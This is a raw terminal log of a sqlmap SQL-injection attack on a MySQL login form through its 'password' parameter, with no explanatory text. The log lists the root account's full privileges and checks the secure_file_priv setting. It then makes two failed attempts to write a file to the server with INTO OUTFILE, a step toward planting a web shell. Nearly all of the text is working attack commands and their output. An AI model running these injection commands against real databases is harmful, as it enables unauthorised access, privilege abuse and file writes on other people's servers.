[23:12:06] [INFO] fetching current user
[23:12:07] [INFO] retrieved: 'root@localhost'
[*] 'root'@'localhost' (administrator) [28]:
    privilege: ALTER
    privilege: ALTER ROUTINE
    privilege: CREATE
    privilege: CREATE ROUTINE
    privilege: CREATE TABLESPACE
    privilege: CREATE TEMPORARY TABLES
    privilege: CREATE USER
    privilege: CREATE VIEW
    privilege: DELETE
    privilege: DROP
    privilege: EVENT
    privilege: EXECUTE
    privilege: FILE
    privilege: INDEX
    privilege: INSERT
    privilege: LOCK TABLES
    privilege: PROCESS
    privilege: REFERENCES
    privilege: RELOAD
    privilege: REPLICATION CLIENT
    privilege: REPLICATION SLAVE
    privilege: SELECT
    privilege: SHOW DATABASES
    privilege: SHOW VIEW
    privilege: SHUTDOWN
    privilege: SUPER
    privilege: TRIGGER
    privilege: UPDATE

sqlmap.py -r test.txt  --dbms=MySQL --risk=3 --level=5 -p password --sql-query="select @@secure_file_priv;"
[23:18:45] [INFO] fetching SQL SELECT statement query output: 'select @@secure_file_priv'
[23:18:45] [INFO] resumed: ' '
select @@secure_file_priv: ' '

sqlmap.py -r test.txt  --dbms=MySQL --risk=3 --level=5 -p password --sql-query="select 123 into outfile '/tmp/test.txt'" --technique=E

[23:21:25] [WARNING] execution of non-query SQL statements is only available when stacked queries are supported

sqlmap.py -r test.txt  --dbms=MySQL --risk=3 --level=5 -p password --sql-query="select 123 into outfile '/tmp/test.txt'" --technique=B

[23:22:31] [WARNING] execution of non-query SQL statements is only available when stacked queries are supported